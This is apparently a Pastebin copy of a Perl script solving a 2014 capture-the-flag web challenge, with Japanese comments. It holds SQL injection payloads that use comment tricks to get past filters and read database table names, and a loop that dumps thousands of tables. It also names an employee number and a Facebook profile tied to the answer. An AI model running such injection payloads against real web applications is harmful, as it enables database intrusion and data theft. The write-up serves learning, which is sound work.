Advertisement
akiym

電通 web100 writeup

Jun 18th, 2014
814
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.45 KB | None | 0 0
  1. # http://backdoor.dentsu.jp/ web100 writeup
  2. use strict;
  3. use warnings;
  4. use JSON;
  5. use LWP::UserAgent;
  6.  
  7. my $ua = LWP::UserAgent->new();
  8.  
  9. # http://backdoor.dentsu.jp/query/?q=%27/**/UNION/**/SELECT/**/group_concat(table_name/**/order/**/by/**/table_name /**/desc)/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema%20!=%20%27mysql%27AND/**/table_schema%20!=%20%27information_schema%27AND/**/table_name/**/like/**/%27table%25%27%23&ts=4677631&_=1403019525069
  10.  
  11. # table00001, table00002, ..., table19999
  12. # テーブルの数は19999個あり、それぞれ1つカラムを持っていてその中にURLが入っている。
  13. # はじめは後ろから総当たりしていたが、1つにつき1秒以上かかってしまうので違うアプローチを考える。
  14. # まず、19999個のURLを取ってくることにした。1reqあたり100個のURLを取ってきている。
  15.  
  16. for (my $i = 1; $i <= 19999; $i += 100) {
  17.     my @tables;
  18.     for my $j (0..99) {
  19.         push @tables, sprintf '(select/**/*/**/from/**/table%05d)', $i + $j;
  20.     }
  21.     my $res = $ua->get('http://backdoor.dentsu.jp/query/?q=%27/**/UNION/**/SELECT/**/concat(' . join(',', @tables) . ')%23&ts=4677631&_=1403019525069');
  22.     my $data = decode_json($res->content);
  23.     my $urls = $data->{results}[0];
  24.     open my $fh, '>>', 'urls' or die $!;
  25.     for my $url (split m!http://!, $urls) {
  26.         next if $url eq '';
  27.         print {$fh} "http://$url\n";
  28.     }
  29. }
  30.  
  31. # % cat urls | sort | head
  32. # http://backdoor.dentsu.jp/QuZDtmbm2hR4CnaTB5IPwYeyXDRd6DUgAjqUUNfiRhAiBaKaDs/  <--
  33. # http://backdoor.dentsu.jp/bd/--CWNOEeYMmstKmBTl7DCKqE-xVkCjus2WRFR_2bZj8/
  34. # http://backdoor.dentsu.jp/bd/--F5FG20PXl98tCOYTQIezp6g_ruxpS-U3S5HiN2I-E/
  35. # http://backdoor.dentsu.jp/bd/--Fjl-5BqWQty_qFxCPyp2NNOIUxvKAvBljy-1JCrVA/
  36. # http://backdoor.dentsu.jp/bd/--X-Qx1vGOpvuacf3BPLtEBG8VBinuBbOTigqK_K0Vg/
  37. # http://backdoor.dentsu.jp/bd/--YzRXeFqRR-lnM9mwYCoyv40aUjG_I8auQ6zmiybCE/
  38. # http://backdoor.dentsu.jp/bd/-0DqVUSoQcYNdXiMkh22CRTBng1QoOurqgyjcAdU8ts/
  39. # http://backdoor.dentsu.jp/bd/-0JeYV3oB3vfm6BBHNkYXLmbvkn7bxWcuIPHuvSFej4/
  40. # http://backdoor.dentsu.jp/bd/-0KOncOmCOYiOfK-2dAIwJLa5VGosyDPM6wNLdZIFr0/
  41. # http://backdoor.dentsu.jp/bd/-0bhuZxD_QYboWT4edt-dgTvwRb-bFEB2YJlyck8Cfc/
  42.  
  43. # 自明なURLがある。table18646が正解。
  44.  
  45. # これが想定解だったらしいが、担当の人から実はヒントがあったと聞いた。
  46. # 社員番号: 18646
  47. # https://ja-jp.facebook.com/seitaro.miyachi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement